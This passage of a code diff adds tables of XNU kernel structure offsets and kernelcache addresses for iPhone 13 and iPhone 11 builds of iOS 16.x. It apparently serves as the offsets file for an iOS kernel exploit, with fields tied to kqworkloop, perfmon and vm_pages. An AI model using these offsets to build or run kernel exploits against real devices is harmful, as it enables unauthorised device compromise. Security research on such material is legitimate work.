.vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a4c9a30, + .kernelcache__gPhysBase = 0xfffffff00794c1b8, + .kernelcache__gPhysSize = 0xfffffff00794c1b8 + 8, + .kernelcache__gVirtBase = 0xfffffff00794a370, + .kernelcache__perfmon_devices = 0xfffffff00a509530, + .kernelcache__perfmon_dev_open = 0xfffffff007f116dc, + .kernelcache__ptov_table = 0xfffffff0078ff9b8, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a508910, + .kernelcache__vm_pages = 0xfffffff0078fc108, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078fe968, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a508908, + .kernelcache__vn_kqfilter = 0xfffffff007f5dbf8, + }, + /**************** iPhone 13 Series ***********************/ + // 13 pro max 16.6b1 + { + .kern_version = "Darwin Kernel Version 22.6.0: Tue May 9 06:16:18 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8110", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 0x8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 0x8, + .task__itk_space = 0x300, + .task__object_size = 0x640, + .thread__task_threads__next = 0x380 - 0x18, + .thread__task_threads__prev = 0x380 - 0x18 + 0x8, + .thread__map = 0x380, + .thread__thread_id = 0x418, + .thread__object_size = 0x4c0, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a519a30, + .kernelcache__gPhysBase = 0xfffffff0079502a8, + .kernelcache__gPhysSize = 0xfffffff0079502a8 + 0x8, + .kernelcache__gVirtBase = 0xfffffff00794e460, + .kernelcache__perfmon_devices = 0xfffffff00a559550, + .kernelcache__perfmon_dev_open = 0xfffffff007f1db9c, + .kernelcache__ptov_table = 0xfffffff0079039c0, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a558910, + .kernelcache__vm_pages = 0xfffffff007900110, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff007902970, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a558908, + .kernelcache__vn_kqfilter = 0xfffffff007f6a0b8, + }, + + //iPhone 13, iOS 16.2 + { + .kern_version = "Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:56 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8110", + .fileglob__fg_ops = 0x0, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0x0, + .proc__object_size = 0x538, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x648, + .thread__task_threads__next = 0x380 - 0x18, + .thread__task_threads__prev = 0x380 - 0x18 + 8, + .thread__map = 0x380, + .thread__thread_id = 0x420, + .thread__object_size = 0x4c8, + .uthread__object_size = 0xfffffffffffffb38, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0x0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a379190, + .kernelcache__gPhysBase = 0xfffffff0078580c8, + .kernelcache__gPhysSize = 0xfffffff0078580c8 + 8, + .kernelcache__gVirtBase = 0xfffffff0078562a8, + .kernelcache__perfmon_devices = 0xfffffff00a3b43b0, + .kernelcache__perfmon_dev_open = 0xfffffff007ed8fa8, + .kernelcache__ptov_table = 0xfffffff00780b370, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3b3800, + .kernelcache__vm_pages = 0xfffffff007808098, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff00780a330, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3b37f8, + .kernelcache__vn_kqfilter = 0xfffffff007f28fd0, + }, + + //iPhone 13, iOS 16.3 + { + .kern_version = "Darwin Kernel Version 22.3.0: Wed Jan 4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8110", + .fileglob__fg_ops = 0x0, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0x0, + .proc__object_size = 0x538, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x648, + .thread__task_threads__next = 0x380 - 0x18, + .thread__task_threads__prev = 0x380 - 0x18 + 8, + .thread__map = 0x380, + .thread__thread_id = 0x420, + .thread__object_size = 0x4c8, + .uthread__object_size = 0xfffffffffffffb38, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0x0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a381190, + .kernelcache__gPhysBase = 0xfffffff0078581b0, + .kernelcache__gPhysSize = 0xfffffff0078581b0 + 8, + .kernelcache__gVirtBase = 0xfffffff007856390, + .kernelcache__perfmon_devices = 0xfffffff00a3bc3b0, + .kernelcache__perfmon_dev_open = 0xfffffff007ed905c, + .kernelcache__ptov_table = 0xfffffff00780b3b0, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3bb800, + .kernelcache__vm_pages = 0xfffffff0078080d8, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff00780a370, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3bb7f8, + .kernelcache__vn_kqfilter = 0xfffffff007f29074, + }, + + //iPhone 13, iOS 16.3.1 + { + .kern_version = "Darwin Kernel Version 22.3.0: Wed Jan 4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8110", + .fileglob__fg_ops = 0x0, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0x0, + .proc__object_size = 0x538, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x648, + .thread__task_threads__next = 0x380 - 0x18, + .thread__task_threads__prev = 0x380 - 0x18 + 8, + .thread__map = 0x380, + .thread__thread_id = 0x420, + .thread__object_size = 0x4c8, + .uthread__object_size = 0xfffffffffffffb38, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0x0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a381190, + .kernelcache__gPhysBase = 0xfffffff0078581b0, + .kernelcache__gPhysSize = 0xfffffff0078581b0 + 8, + .kernelcache__gVirtBase = 0xfffffff007856390, + .kernelcache__perfmon_devices = 0xfffffff00a3bc3b0, + .kernelcache__perfmon_dev_open = 0xfffffff007ed905c, + .kernelcache__ptov_table = 0xfffffff00780b3b0, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3bb800, + .kernelcache__vm_pages = 0xfffffff0078080d8, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff00780a370, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3bb7f8, + .kernelcache__vn_kqfilter = 0xfffffff007f29074, + }, + +//iPhone 13, iOS 16.4 + { + .kern_version = "Darwin Kernel Version 22.4.0: Mon Mar 6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x640, + .thread__task_threads__next = 0x380 - 0x18, + .thread__task_threads__prev = 0x380 - 0x18 + 8, + .thread__map = 0x380, + .thread__thread_id = 0x418, + .thread__object_size = 0x4c0, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a465208, + .kernelcache__gPhysBase = 0xfffffff007937fc0, + .kernelcache__gPhysSize = 0xfffffff007937fc0 + 8, + .kernelcache__gVirtBase = 0xfffffff007936198, + .kernelcache__perfmon_devices = 0xfffffff00a4a3520, + .kernelcache__perfmon_dev_open = 0xfffffff007ef9210, + .kernelcache__ptov_table = 0xfffffff0078eb180, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4a2990, + .kernelcache__vm_pages = 0xfffffff0078e7ec0, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ea130, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4a2988, + .kernelcache__vn_kqfilter = 0xfffffff007f45ae0, + }, + + //iPhone 13, iOS 16.4.1 + { + .kern_version = "Darwin Kernel Version 22.4.0: Mon Mar 6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x640, + .thread__task_threads__next = 0x380 - 0x18, + .thread__task_threads__prev = 0x380 - 0x18 + 8, + .thread__map = 0x380, + .thread__thread_id = 0x418, + .thread__object_size = 0x4c0, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a465208, + .kernelcache__gPhysBase = 0xfffffff007937fc0, + .kernelcache__gPhysSize = 0xfffffff007937fc0 + 8, + .kernelcache__gVirtBase = 0xfffffff007936198, + .kernelcache__perfmon_devices = 0xfffffff00a4a3520, + .kernelcache__perfmon_dev_open = 0xfffffff007ef9210, + .kernelcache__ptov_table = 0xfffffff0078eb180, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4a2990, + .kernelcache__vm_pages = 0xfffffff0078e7ec0, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ea130, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4a2988, + .kernelcache__vn_kqfilter = 0xfffffff007f45ae0, + }, + + //iPhone 13, iOS 16.5 + { + .kern_version = "Darwin Kernel Version 22.5.0: Mon Apr 24 21:09:37 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8110", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x640, + .thread__task_threads__next = 0x380 - 0x18, + .thread__task_threads__prev = 0x380 - 0x18 + 8, + .thread__map = 0x380, + .thread__thread_id = 0x418, + .thread__object_size = 0x4c0, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a471208, + .kernelcache__gPhysBase = 0xfffffff00793c100, + .kernelcache__gPhysSize = 0xfffffff00793c100 + 8, + .kernelcache__gVirtBase = 0xfffffff00793a2d8, + .kernelcache__perfmon_devices = 0xfffffff00a4af520, + .kernelcache__perfmon_dev_open = 0xfffffff007efd480, + .kernelcache__ptov_table = 0xfffffff0078ef180, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4ae990, + .kernelcache__vm_pages = 0xfffffff0078ebec0, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ee130, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4ae988, + .kernelcache__vn_kqfilter = 0xfffffff007f49fe8, + }, + + /**************** End iPhone 13 Series ***********************/ + + // iphone 11 pro 16.5 + { + .kern_version = "Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:28 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8030", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x378 - 0x18, + .thread__task_threads__prev = 0x378 - 0x18 + 8, + .thread__map = 0x378, + .thread__thread_id = 0x410, + .thread__object_size = 0x4b8, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a435288, + .kernelcache__gPhysBase = 0xfffffff007950010, + .kernelcache__gPhysSize = 0xfffffff007950010 + 8, + .kernelcache__gVirtBase = 0xfffffff00794e1e8, + .kernelcache__perfmon_devices = 0xfffffff00a4734f0, + .kernelcache__perfmon_dev_open = 0xfffffff007efb5d0, + .kernelcache__ptov_table = 0xfffffff007903178, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a472990, + .kernelcache__vm_pages = 0xfffffff0078ffeb0, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff007902118, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a472988, + .kernelcache__vn_kqfilter = 0xfffffff007f4a41c, + }, + //iphone 11 16.6 b1 + { + .kern_version = "Darwin Kernel Version 22.6.0: Tue May 9 06:18:02 PDT 2023; 